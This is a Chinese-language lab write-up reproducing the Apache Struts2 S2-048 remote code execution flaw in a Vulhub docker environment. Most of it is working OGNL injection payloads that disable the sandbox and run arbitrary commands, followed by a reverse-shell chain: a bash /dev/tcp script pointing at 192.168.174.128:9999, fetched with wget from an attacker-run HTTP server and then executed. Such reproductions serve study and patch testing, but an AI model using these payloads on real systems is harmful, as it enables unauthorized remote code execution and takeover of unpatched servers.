Struts2 S2-048 远程代码执行漏洞
漏洞描述
漏洞详情:
- http://struts.apache.org/docs/s2-048.html
- http://bobao.360.cn/learning/detail/4078.html
- http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
影响版本
影响版本: 2.0.0 - 2.3.32
环境搭建
Vulhub执行以下命令启动s2-048测试环境:
docker-compose build
docker-compose up -d
环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8080/showcase/
即可查看到struts2的测试页面。
漏洞复现
访问Integration/Struts 1 Integration:
触发OGNL表达式的位置是Gangster Name
这个表单。
输入${233*233}
即可查看执行结果(剩下两个表单随意填写):
借用S2-045的沙盒绕过方法改了一个POC。将如下POC填入表单Gengster Name
中,提交即可直接回显命令执行的结果:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
当然,也可以直接用s2-045的POC(需要在Burp下进行测试):
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
反弹shell
使用s2-045的POC进行反弹shell。
编写shell脚本并启动http服务器:
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下:python -m http.server 80
上传shell.sh文件的命令为:
wget 192.168.174.128/shell.sh
上传shell.sh文件的Payload为(还需要进行URL编码):
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget 192.168.174.128/shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
执行shell.sh文件的命令为:
bash shell.sh
执行shell.sh文件的Payload为(还需要进行URL编码):
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
成功接收反弹shell: